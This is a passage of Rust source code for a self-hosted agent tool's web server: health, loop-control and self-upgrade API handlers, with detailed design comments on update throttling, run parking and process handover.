        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
    if known {
        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
    }
    (asset_headers(mime), body).into_response()
}

async fn index(headers: header::HeaderMap) -> Response {
    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
}

async fn app_css(headers: header::HeaderMap) -> Response {
    asset(&headers, "text/css; charset=utf-8", APP_CSS)
}

async fn app_js(headers: header::HeaderMap) -> Response {
    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
}

/// What `/api/health` answers.
#[derive(Debug, Serialize)]
struct HealthView {
    version: &'static str,
    home: String,
    queue_rev: u64,
    runs_rev: u64,
    /// The same revisions [`events`] streams for the question and talk
    /// stores.
    ///
    /// Here because this route is what the front end falls back to when the
    /// change stream is not up - it re-polls health on a timer and on wake, and
    /// takes the revisions from the answer. Without these the fallback
    /// compares `undefined` against `undefined` for both stores, decides
    /// nothing moved, and a phone with a dead stream never learns that a
    /// question was asked or that a talk took a turn. `queue_rev` and
    /// `runs_rev` above have always been here for exactly this reason; the rule
    /// is that every revision the stream carries, this route carries too.
    questions_rev: u64,
    /// See [`HealthView::questions_rev`]. The standing chat's own store.
    talks_rev: u64,
    /// See [`HealthView::questions_rev`]. The notification centre's store.
    notifications_rev: u64,
    /// Notifications nobody has read yet: the bell's badge before
    /// `/api/notifications` has answered.
    notifications_unread: usize,
    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
    /// is not on disk anywhere, so a phone with no change stream has no other
    /// way to notice that the loop it is waiting on was started from another
    /// device.
    loop_rev: u64,
    /// Runs on disk whose state this build cannot parse - almost always a
    /// schema bump, occasionally a run killed mid-write.
    ///
    /// Reported because the list silently skips them, and "no competitions
    /// yet" is a lie when six of them are sitting in the runs directory. The
    /// terminal deck learned the same lesson: a run that fails to parse must
    /// not disappear from the count.
    runs_unreadable: usize,
    /// The disk, and what the runs and their worktrees occupy on it.
    ///
    /// This is the incident the janitor exists for: magi alone put 30 GB into
    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
    /// is exactly where the operator learns "the disk is the constraint" -
    /// the diagnosis that a run is being held for want of space has to be
    /// checkable on the same screen.
    disk: DiskView,
    /// Questions nobody has answered yet, including ones an owner talked
    /// back on and is now waiting for the agent's reply to. A round trip
    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
    /// while the ball is in the agent's court - see
    /// [`crate::ask::Questions::count_open`].
    questions_open: usize,
    /// Of those, how many actually need the owner right now: open, and not
    /// [`crate::ask::Question::waiting_on_agent`].
    ///
    /// The one number that means "nothing will happen until a human acts" -
    /// a parked run consumes nothing and progresses never - and the count the
    /// ask bar, the nav badge and the document title fall back to before
    /// `/api/questions` has answered, so those notification channels clear
    /// the instant the owner asks back and reappear the instant the agent
    /// replies, instead of sitting lit for however long the agent thinks.
    questions_needs_owner: usize,
    daemon: DaemonView,
    /// The loop in this process, exactly what `/api/loop` answers with.
    ///
    /// Here so a phone that has just woken needs one request to know whether
    /// anything is going to happen at all: `daemon` says a loop is alive
    /// somewhere, and this says whether it is one this UI can stop.
    #[serde(rename = "loop")]
    looping: LoopView,
    /// Whether a release newer than this build is known, and which.
    ///
    /// From [`updater::Checker::cached_update`] - the same throttled state the
    /// CLI's `notify` mode banners from - never a live check: this route is
    /// polled every few seconds, and a live check on each poll would spend
    /// GitHub's rate limit before the operator finished reading the strip.
    update: UpdateView,
    /// The self-upgrade this deck last set in motion, or `null` before the
    /// first one. Read off disk, so the successor can report what its
    /// predecessor started.
    upgrade: Option<UpgradeProgressView>,
}

/// What `/api/health` knows about a release newer than this build.
///
/// A plain `Option<String>` for `to` could not distinguish "checked, and this
/// is already the newest" from "never checked" - both are `None` - and the
/// phone needs to tell those apart to decide whether the deck can be trusted
/// to have an opinion at all.
#[derive(Debug, Serialize)]
struct UpdateView {
    /// A newer release is known to exist.
    available: bool,
    /// Its tag, when `available`.
    to: Option<String>,
}

/// [`updater::Progress`] as `/api/health` reports it.
#[derive(Debug, Serialize)]
struct UpgradeProgressView {
    stage: updater::Stage,
    from: String,
    to: Option<String>,
    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
    /// the step it is finishing before the address is handed over.
    waiting_on: Option<String>,
    started_at: Timestamp,
    updated_at: Timestamp,
    detail: Option<String>,
    /// Seconds the stage has outlived its allowance, when it has - see
    /// [`updater::stall`]. `null` while the stage is moving normally.
    stuck_for_secs: Option<i64>,
    /// Which kind of stuck: `never_entered` (hand_over left no record of
    /// starting) or `stopped_beating`. `null` when not stuck.
    stuck_kind: Option<updater::StallKind>,
    /// `hand_over` is alive and waiting on the loop: however long that takes,
    /// it is not an overdue upgrade.
    handover_alive: bool,
}

/// Whether [`run_update_recheck`] may act at all this tick.
///
/// The same two conditions [`updater::Checker::new`] and
/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
/// GitHub from this process" - on a button press or on a timer alike.
fn should_spawn_recheck(cfg: &Update) -> bool {
    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
}

/// Whether this tick should actually reach the network, once checking itself
/// is allowed.
///
/// An upgrade already in flight must not be raced by a check that discovers
/// a *newer* release while one is still installing - a phone watching
/// `/api/health` would see the answer change out from under the upgrade it
/// already asked for. Past that, [`updater::Checker::should_check`] is the
/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
/// polling period, is what keeps this task's network use to at most once per
/// `[update] interval` regardless of how often it wakes up.
fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
    if progress.is_some_and(|p| !p.stage.terminal()) {
        return false;
    }
    checker.should_check()
}

/// How long [`run_update_recheck`] sleeps before its next wake-up.
///
/// A fraction of the configured `[update] interval` rather than a fixed
/// number: a fixed sleep longer than a short custom interval would leave the
/// deck waiting on its own wake-up rather than on `should_check`, so an
/// operator who set `interval = "1m"` to make the UI catch up quickly would
/// not see that take effect until the next restart - exactly the bug this
/// task exists to fix, just moved one level down. Scaling with the interval
/// keeps the wake-up prompt relative to what was actually configured, while
/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
/// still what caps the network calls themselves at one per interval,
/// regardless of how often this fires.
fn recheck_poll_period(cfg: &Update) -> Duration {
    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
}

/// Keep `/api/health`'s `update` field current for as long as `magi web`
/// stays up.
///
/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
/// which is enough for every other command: they exit in seconds. `magi web`
/// can run for days, so a single startup check leaves the cache - and the
/// phone's "Update & restart" button, which reads it via
/// [`cached_update_view`] - frozen on whatever that one look found, however
/// many releases ship afterwards. This is what notices the rest of them,
/// re-reading the config each tick so a `magi.toml` edit while the server is
/// up takes effect without a restart, the same way every other route here
/// already does - both for whether checking is on at all and for how long
/// the next sleep should be.
///
/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
/// "install"`: swapping the running binary out from under a task or a run
/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
/// not as a side effect of a timer nobody asked to fire. This only ever
/// calls [`updater::Checker::newer_release`], which refreshes
/// `last_update_check.json` and nothing else - so under `mode = "install"`
/// this behaves like `notify` for as long as the deck stays up, and an
/// actual self-install still happens exactly where it always has: once, at
/// the next process start.
async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
    loop {
        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
        if !should_spawn_recheck(&cfg.update) {
            continue;
        }
        let Some(checker) = updater::Checker::new(&cfg.update) else {
            continue;
        };
        let progress = updater::read_progress(&home);
        if !update_recheck_due(&checker, progress.as_ref()) {
            continue;
        }
        if let Err(e) = checker.newer_release().await {
            tracing::warn!("background update recheck failed: {e:#}");
        }
    }
}

/// [`UpdateView`] from the same throttled, disk-only state
/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
/// never a live check. `[update] mode = "off"` answers "unknown" the same as
/// no cached state at all, which is correct: an operator who turned checking
/// off gets no opinion, not a stale one.
fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
    let default;
    let cfg = match cfg {
        Some(cfg) => cfg,
        None => {
            default = Config::default();
            &default
        }
    };
    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
    match latest {
        Some(latest) => UpdateView {
            available: true,
            to: Some(latest.tag_name),
        },
        None => UpdateView {
            available: false,
            to: None,
        },
    }
}

/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
/// from the parked run's own state when the stage is
/// [`updater::Stage::Parking`] - the run and the node it is finishing are
/// already on disk in `run.json`, so this reads them fresh rather than
/// trusting whatever was true the moment the park was requested.
fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
    let now = Timestamp::now();
    let lease = updater::read_lease(&ui.home);
    let alive = updater::live_lease(&progress, lease.as_ref(), now);
    let run_id = alive
        .and_then(|l| l.parked_run.as_deref())
        .or(progress.parked_run.as_deref());
    let parking = progress.stage == updater::Stage::Parking;
    let waited = alive.map_or_else(String::new, |l| {
        let secs = updater::waited_secs(l, now);
        format!(" (waited {} min so far)", secs / 60)
    });
    let run_text = run_id
        .filter(|_| parking)
        .map(|id| match read_run(&ui.runs, id).ok() {
            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
            None => format!("run {id} is finishing"),
        });
    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
        .filter(|t| parking && !t.is_empty())
        .map(|t| format!("{t} finishing"));
    let waiting_on = match (run_text, talks_text) {
        (None, None) => None,
        (run, talks) => {
            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
            Some(format!(
                "{} before the address is handed over{waited}",
                parts.join(" and ")
            ))
        }
    };
    let detail = progress
        .detail
        .clone()
        .or_else(|| updater::read_note(&ui.home, &progress));
    let stalled = updater::stall(&progress, lease.as_ref(), now);
    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
    UpgradeProgressView {
        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
        stuck_kind: stalled.map(|s| s.kind),
        handover_alive: alive.is_some(),
        stage: progress.stage,
        from: progress.from,
        to: progress.to,
        waiting_on,
        started_at: progress.started_at,
        updated_at: progress.updated_at,
        detail,
    }
}

/// The disk figures `/api/health` carries. Every number is produced by
/// [`crate::disk`], the same code that decides a run may not start, so the
/// health screen and the gate cannot disagree about what the machine looks
/// like.
#[derive(Debug, Serialize)]
struct DiskView {
    /// Free bytes on the volume holding the runs, when measurable.
    #[serde(skip_serializing_if = "Option::is_none")]
    free_bytes: Option<u64>,
    /// Everything the runs directory occupies, unreadable runs included.
    runs_bytes: u64,
    /// Everything the runs' worktrees occupy.
    worktrees_bytes: u64,
    /// The shared build cache's size, when the config names one.
    #[serde(skip_serializing_if = "Option::is_none")]
    cache_bytes: Option<u64>,
}

impl DiskView {
    /// Measure the three directories and re-read the config's cache.
    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
        let cache_bytes = cfg
            .and_then(|cfg| cfg.cache_dir())
            .map(|dir| crate::disk::dir_size(&dir));
        Self {
            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
            runs_bytes: crate::disk::dir_size(&ui.runs),
            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
            cache_bytes,
        }
    }
}

/// The daemon's state as the UI presents it.
#[derive(Debug, Serialize)]
struct DaemonView {
    running: bool,
    idle: Option<bool>,
    pid: Option<u32>,
    /// Every task and run currently in flight. Empty when idle; more than
    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
    /// run going at once.
    current: Vec<daemon::Current>,
    completed: Option<u64>,
    stale_for_secs: Option<i64>,
}

impl DaemonView {
    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
    /// not this UI's — a crashed daemon must not look alive here while
    /// `doctor` calls it dead.
    fn of(status: Option<daemon::Reading>) -> Self {
        let Some(status) = status else {
            return Self {
                running: false,
                idle: None,
                pid: None,
                current: Vec::new(),
                completed: None,
                stale_for_secs: None,
            };
        };
        let now = Timestamp::now();
        let age = status.age_secs(now);
        Self {
            running: status.running(now),
            idle: Some(status.idle),
            pid: status.pid,
            current: status.current,
            completed: Some(status.completed),
            stale_for_secs: age,
        }
    }
}

async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
    blocking(move || {
        // One read of the status file for the two fields that describe it, so
        // `daemon` and `loop` in the same answer cannot disagree about who is
        // running the loop.
        let reading = daemon::read_status(&ui.home);
        // Read on its own line, not inside the literal below: the loop's lock
        // is not reentrant, and a guard taken as a temporary there would still
        // be held when `loop_view` took it again.
        let loop_rev = ui.lock_loop().rev;
        // One discover for both views: each is a few git processes plus a
        // config render, and neither depends on anything the other reads.
        let cfg = deputy_config(&ui.repo);
        let update = cached_update_view(cfg.as_ref());
        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
        Ok(Json(HealthView {
            version: env!("CARGO_PKG_VERSION"),
            home: ui.home.display().to_string(),
            queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
            runs_rev: runs_revision(&ui.runs),
            questions_rev: ui.questions.revision(),
            talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
            notifications_rev: ui.notices.revision(),
            notifications_unread: ui.notices.count_unread(),
            loop_rev,
            runs_unreadable: runs_unreadable(&ui.runs),
            questions_open: ui.questions.count_open(),
            questions_needs_owner: ui.questions.count_needs_owner(),
            daemon: DaemonView::of(reading.clone()),
            looping: ui.loop_view(reading),
            disk: DiskView::of(&ui, cfg.as_ref()),
            update,
            upgrade,
        }))
    })
    .await
}

/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
#[derive(Debug, Serialize)]
struct LoopView {
    /// A loop is running in *this* process.
    running: bool,
    /// It has been asked to stop and is still finishing a run.
    ///
    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
    /// because the two differ exactly where it matters: a loop asked to stop
    /// while idle is gone within one poll interval, and one asked to stop
    /// mid-run keeps going for as long as the graph takes. The operator needs
    /// to be told which of those they are waiting for.
    stopping: bool,
    /// A park was asked for: the run in flight stops at its next node
    /// boundary rather than finishing.
    ///
    /// Separate from `stopping` because the two promise different waits. A
    /// stop is "when this competition ends", which can be an hour; a park is
    /// "after the step it is on", which is minutes and is what an operator
    /// waiting to replace the binary needs to see.
    parking: bool,
    /// The loop is this process's own.
    ///
    /// Spelled separately from `running` for the front end's sake, even
    /// though inside this process the two move together: `running: false`
    /// with `daemon.running: true` is the case where the operator's own `magi
    /// serve` owns the loop, and `owned` is the field that tells the UI its
    /// buttons have to explain that rather than pretend.
    owned: bool,
    /// Repository the loop uses for tasks that name none - what it was
    /// started with while it runs, and what a start would use before that.
    repo: String,
    /// Merge mode override in force, or `null` when each repository's own
    /// config decides.
    merge: Option<String>,
    /// Why the last loop in this process ended, when it ended badly.
    ///
    /// The only place a crashed loop is visible to someone holding a phone.
    /// It is logged at error level as well, but a terminal nobody kept open
    /// is not a report, and a loop that died at 3am must not read as merely
    /// stopped in the morning. Named as [`Task::last_error`] is, because it
    /// answers the same question about the same kind of failure.
    last_error: Option<String>,
    /// The status file, judged the same way `/api/health` judges it: this is
    /// what says whether a loop is alive in some *other* process.
    daemon: DaemonView,
}

/// A loop another process already owns.
///
/// `<home>/daemon.json` is the only cross-process signal there is, so this is
/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
/// published by a pid that is not ours. Excluding our own pid is what makes
/// stopping work at all - the loop this process runs writes that file too, so
/// a check that ignored the pid would decide the operator's own UI was a
/// stranger and refuse to stop the loop it had just started.
#[derive(Debug, Clone, Copy)]
struct Foreign {
    /// The pid the other process published, when it published one.
    pid: Option<u32>,
}

impl Foreign {
    /// Another process's live loop, or `None` when this process is free to
    /// run one.
    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
        // A fresh heartbeat with no pid in it is still evidence of a live
        // daemon. "Some other process" is the honest answer, and refusing
        // to start beside it is the safe one.
        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
    }

    /// How a conflict names it. The pid is the whole point of the message: it
    /// is what the operator needs to find the terminal that owns the loop.
    fn who(&self) -> String {
        match self.pid {
            Some(pid) => format!("another magi process (pid {pid})"),
            None => "another magi process".to_owned(),
        }
    }
}

/// How a loop is started, as a future this module can hold onto.
///
/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
/// trait object or a hand-written `Debug` impl for the sake of one seam.
type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;

/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
fn launch_daemon(
    opts: daemon::Opts,
    stop: daemon::Stop,
) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
    Box::pin(daemon::serve_until(opts, stop))
}

/// The loop this process runs, behind one lock.
#[derive(Debug, Default)]
struct LoopState {
    /// The loop, while there is one.
    live: Option<Live>,
    /// Bumped on every change to this struct, and streamed as `loop_rev`.
    ///
    /// The loop is in-process state rather than a file, so nothing on disk
    /// would tell a second phone that the first one started it. Without this
    /// counter the only way to learn about a start, a stop request or a crash
    /// would be to poll `/api/loop`, which is the thing the change stream
    /// exists to avoid on a mobile link.
    rev: u64,
    /// Why the last loop ended, when it ended badly. See
    /// [`LoopView::last_error`].
    last_error: Option<String>,
    /// The loop was running (and not already stopping) when the last upgrade
    /// parked it, so the successor should start one. Set afresh by every
    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
    /// update.
    resume_after_handover: bool,
}

/// A loop in flight.
#[derive(Debug)]
struct Live {
    /// The cooperative stop, shared with the loop task.
    stop: daemon::Stop,
    /// The task itself, kept only to answer whether it is still there: a loop
    /// that panicked never records its own end, and without this the view
    /// would go on reporting a loop that no longer exists - the one lie that
    /// would leave the operator with no button to press.
    handle: tokio::task::JoinHandle<()>,
    /// What the loop was started with, so the view reports the repository and
    /// merge mode its runs will actually use rather than what an edit to the
    /// config since would give.
    opts: daemon::Opts,
}

impl Live {
    /// Is the task still there? See [`Live::handle`].
    fn alive(&self) -> bool {
        !self.handle.is_finished()
    }
}

/// Take the loop lock, recovering from a poisoned one.
///
/// What this mutex holds is a stop flag, a task handle and two counters, none
/// of which a panic elsewhere can leave in a state worth refusing to read.
/// Propagating the poison instead would mean an operator who can see the loop
/// running and can no longer stop it from the only surface they have.
fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
    state.lock().unwrap_or_else(PoisonError::into_inner)
}

/// `GET /api/loop`.
async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
    blocking(move || {
        let reading = daemon::read_status(&ui.home);
        Ok(Json(ui.loop_view(reading)))
    })
    .await
}

/// The body of `POST /api/loop`.
///
/// One required field and nothing else: no `default` and no unknown fields,
/// so a body that fails to say which way the switch was flipped is a 400
/// rather than a tap that quietly does the opposite of what was pressed.
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct LoopCommand {
    running: bool,
    /// Stop the run in flight at its next node boundary rather than letting it
    /// finish.
    ///
    /// Defaults to false, so the plain stop keeps meaning what it meant: a
    /// competition is tens of minutes of paid work and finishing it is
    /// normally the cheapest thing to do. A park is for the operator who
    /// wants the process gone now - to replace the binary, most of all - and
    /// it costs at most the node in progress because every node writes its
    /// state before the next one starts.
    #[serde(default)]
    park: bool,
}

/// `POST /api/loop` - start the loop in this process, or ask it to stop.
///
/// Answers with the view rather than waiting for the loop to reach the state
/// that was asked for. Starting is immediate anyway; stopping is not, and the
/// wait is a run's worth of minutes, which is not a thing to hold a phone's
/// request open for. `stopping` in the answer is what the operator watches
/// instead.
async fn loop_post(
    State(ui): State<Arc<Ui>>,
    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
) -> ApiResult<Json<LoopView>> {
    // Taken as a `Result` so a malformed body is a 400 like every other route
    // here, rather than axum's default 422 that the UI has no branch for.
    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
    blocking(move || {
        let reading = daemon::read_status(&ui.home);
        let foreign = Foreign::of(reading.as_ref());
        if body.running {
            ui.start_loop(foreign)?;
        } else {
            ui.stop_loop(foreign, body.park)?;
        }
        Ok(Json(ui.loop_view(reading)))
    })
    .await
}

/// What `POST /api/upgrade` set in motion.
#[derive(Debug, Serialize)]
struct UpgradeView {
    /// The version this process is running.
    from: String,
    /// The release it is replacing itself with, when there is one.
    to: Option<String>,
    /// A run was parked first, and this is its id.
    parked: Option<String>,
    /// What the operator should expect to happen next.
    detail: String,
}

/// The stage of an upgrade that is still moving, if the record says so.
/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
    progress.filter(|p| !p.stage.terminal())
}

/// `POST /api/upgrade` - replace this binary with the newest release and come
/// back on it.
///
/// The one thing the deck could not do for itself. Every fix landed today
/// either waited for a competition to end or went in with the deck stopped,
/// because `cargo install` cannot overwrite a running executable on Windows.
/// `kaishin` can: `self_replace` **renames** the running image aside and puts
/// the new one in its place, so the swap itself needs no downtime. Only the
/// restart does, and the order is the whole design:
///
/// 1. **Park.** A run in flight stops at its next node boundary and stays
///    resumable, so this costs at most the node in progress rather than the
///    competition. Without it the honest choices were waiting an hour or
///    discarding paid agent work.
/// 2. **Replace.** The new binary goes into place while this one still runs.
/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
///    successor - see [`spawn_successor`] for what happens in the other
///    order.
/// 4. **Resume.** The next loop carries the parked run on rather than
///    competing again; see `daemon::attempt`.
///
/// Answers **202**: the reply has to reach the phone while this process can
/// still send one, and the phone learns the deck is back by reconnecting.
async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
    let reading = daemon::read_status(&ui.home);
    if let Some(other) = Foreign::of(reading.as_ref()) {
        return Err(ApiError::conflict(format!(
            "the loop belongs to {}, so replacing this binary would leave \
             that process running an old one against the same queue. Upgrade \
             where it was started.",
            other.who()
        )));
    }

    // A second upgrade while one is moving would replace the binary and
    // signal the handover again after `serve` already consumed the first
    // signal, leaving the process in `replaced` forever. Try-lock rather than
    // wait: a phone connection must not hang behind a GitHub round trip.
    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
        return Err(ApiError::conflict(
            "another request is already preparing an upgrade",
        ));
    };
    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
        return Err(ApiError::conflict(
            "an upgrade is already in progress (this process started one and it \
             has not finished or failed yet)",
        ));
    }
    let recorded = updater::read_progress(&ui.home);
    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
        return Err(ApiError::conflict(format!(
            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
             stays stuck, restart the deck; on start it settles a stale record.",
            p.stage.as_str(),
            p.from,
            p.to.as_deref().unwrap_or("?"),
        )));
    }

    // The same kill switch the background check honours (`disabled_by_env`),
    // checked before anything else for the same reason it is read before the
    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
    // contact GitHub from this process", and a button press must not
    // override that any more than a broken `magi.toml` may.
    if crate::updater::disabled_by_env() {
        return Ok((
            StatusCode::OK,
            Json(UpgradeView {
                from: env!("CARGO_PKG_VERSION").to_owned(),
                to: None,
                parked: None,
                detail: format!(
                    "Automatic updates are disabled by {}. Nothing was parked \
                     and nothing restarted.",
                    crate::updater::NO_AUTOUPDATE_ENV
                ),
            }),
        ));
    }

    // Asked before anything is disturbed. Restarting when there is nothing
    // to install is not a harmless no-op: it parks the run in flight and
    // drops every connection to pay for an upgrade that did not happen. A
    // probe against a deck already on the newest build did exactly that.
    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
    let from = env!("CARGO_PKG_VERSION").to_owned();
    let latest = match crate::updater::Checker::new(&cfg.update) {
        Some(checker) => checker
            .newer_release()
            .await
            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
        None => None,
    };
    let Some(latest) = latest else {
        return Ok((
            StatusCode::OK,
            Json(UpgradeView {
                from,
                to: None,
                parked: None,
                detail: "Already on the newest release. Nothing was parked \
                         and nothing restarted."
                    .to_owned(),
            }),
        ));
    };

    // Parked before anything is replaced: a successor that came up while a
    // run was mid-node would find a run nobody is driving.
    let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
    let detail = match &parked {
        // Honest about the wait. A park takes effect at the *next* node
        // boundary, so a run mid-implement finishes that wave first - up to
        // `timeout_implement`, an hour by default. Saying "restarting now"
        // would make the deck look wedged for the rest of it.
        Some(run) => format!(
            "Run {} is parking at its next step, which can take as long as \
             the step it is on - up to an hour for an implement wave. The \
             deck replaces itself once it parks, comes back, and the loop \
             carries that run on from where it stopped. Nothing is lost if \
             you close this.",
            crate::run::short_of(run)
        ),
        None => "The deck replaces itself and comes back. Nothing was in \
                 flight to park."
            .to_owned(),
    };

    // Recorded before the spawn, not inside it: the phone's next `/api/health`
    // poll must see a `Downloading` stage immediately, not whenever the
    // spawned task happens to get scheduled.
    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
    progress.parked_run = parked.clone();
    // A failed write is logged, not returned: the loop is already parked
    // above, and bailing out here would leave it parked with no upgrade
    // spawned to hand over or resume it.
    updater::write_progress_logged(&ui.home, &progress);

    let home = ui.home.clone();
    let looping = ui.looping();
    ui.upgrade_spawned
        .store(true, std::sync::atomic::Ordering::SeqCst);
    let spawned = Arc::clone(&ui.upgrade_spawned);
    tokio::spawn(async move {
        if let Err(e) = upgrade_and_restart(home.clone()).await {
            tracing::error!("the upgrade did not complete: {e:#}");
            lock_or_recover(&looping).resume_after_handover = false;
            // A failure of this attempt says nothing about a handover an
            // earlier request already has in flight; checked and written
            // under the progress lock.
            let _ = updater::fail_progress(&home, &format!("{e:#}"));
            // Released last: until the cleanup above is done, a retry must
            // not be able to park and record state this would then undo.
            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
        }
    });

    Ok((
        StatusCode::ACCEPTED,
        Json(UpgradeView {
            from,
            to: Some(latest.tag_name),
            parked,
            detail,
        }),
    ))
}

/// Replace the binary, then ask [`serve`] to hand the address over.
///
/// Separated from the handler so the 202 is already on its way, and separated
/// from the spawn so the successor starts only after the listener is dropped.
async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
    // hang the upgrade for as long as the process lives.
    crate::updater::run_self_update(true, false, true).await?;
    updater::log_step(&home, "binary replaced - recording the replaced stage");
    if let Some(mut progress) = updater::read_progress(&home) {
        progress.advance(updater::Stage::Replaced);
        updater::write_progress_logged(&home, &progress);
    }
    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
    HANDOVER.notify_one();
    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
    Ok(())
}

/// One row in the run list.
///
/// The list route returns this rather than whole `RunState`s: the summary of a
/// run is a few hundred bytes and the state is megabytes, and the difference
/// is what makes the history usable on a mobile link.
#[derive(Debug, Serialize)]
struct RunSummary {
    id: String,
    short: String,
    status: String,
    done: bool,
    instruction: String,
    title: String,
    repo: String,
    repo_name: String,
    created_at: String,
    updated_at: String,
    candidates: usize,
    viable: usize,
    judges: usize,
    winner: Option<char>,
    reviews: usize,
    quota_losses: usize,
    event: Option<String>,
    /// The later attempt at the same task that replaced this one, if any.
    ///
    /// Two cards with one title is otherwise unreadable: this is what lets
    /// the deck say "superseded by 4043" on the older of the pair.
    superseded_by: Option<String>,
    /// Blocked on a question nobody has answered.
    ///
    /// Derived from the question store rather than stored on the run: an agent
    /// calling `magi ask` blocks mid-node, and writing a status from there
    /// would race the graph's own save of `run.json` and be overwritten at the
    /// next node boundary. Asking the store is always true and never races.
    waiting: bool,
    /// Whether the process recorded as driving this run can still be proven
    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
    /// rather than presenting its last graph node as still in flight.
    live: crate::run::Liveness,
    /// The land loop's last look at the pull request, when there is one.
    pr: Option<crate::run::PrRecord>,
    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
    /// design — never picked up by the PR-polling merge watcher, unlike an
    /// ordinary `Ready` that may still be a live landing candidate. See
    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
    /// re-deriving the same check from `status` and `merge.mode` itself.
    unmerged_by_design: bool,
    /// Derived presentation status matching [`RunDetailView::display_status`].
    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
    #[serde(default)]
    display_status: String,
    /// What the status badge shows: `display_status`, or `superseded` for a
    /// non-live run a later attempt replaced. See [`run_badge_status`].
    #[serde(default)]
    badge_status: String,
    /// Who started the run, as the one label every surface shares; the
    /// "origin unknown" wording when the record predates origins.
    origin_label: String,
}

impl RunSummary {
    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
        Self {
            id: state.id.clone(),
            short: state.short().to_owned(),
            status: status_word(state.status),
            done: state.status.done(),
            unmerged_by_design: state.unmerged_by_design(),
            display_status: run_display_status(state, waiting, live),
            badge_status: run_display_status(state, waiting, live),
            instruction: state.instruction.clone(),
            title: title_from(&state.instruction, TITLE_MAX),
            repo: state.repo.display().to_string(),
            repo_name: state
                .repo
                .file_name()
                .map(|n| n.to_string_lossy().into_owned())
                .unwrap_or_default(),
            created_at: state.created_at.to_string(),
            updated_at: state.updated_at.to_string(),
            candidates: state.candidates.len(),
            viable: state.viable().len(),
            judges: state.config.graph.judges,
            winner: state.winner().map(|c| c.label),
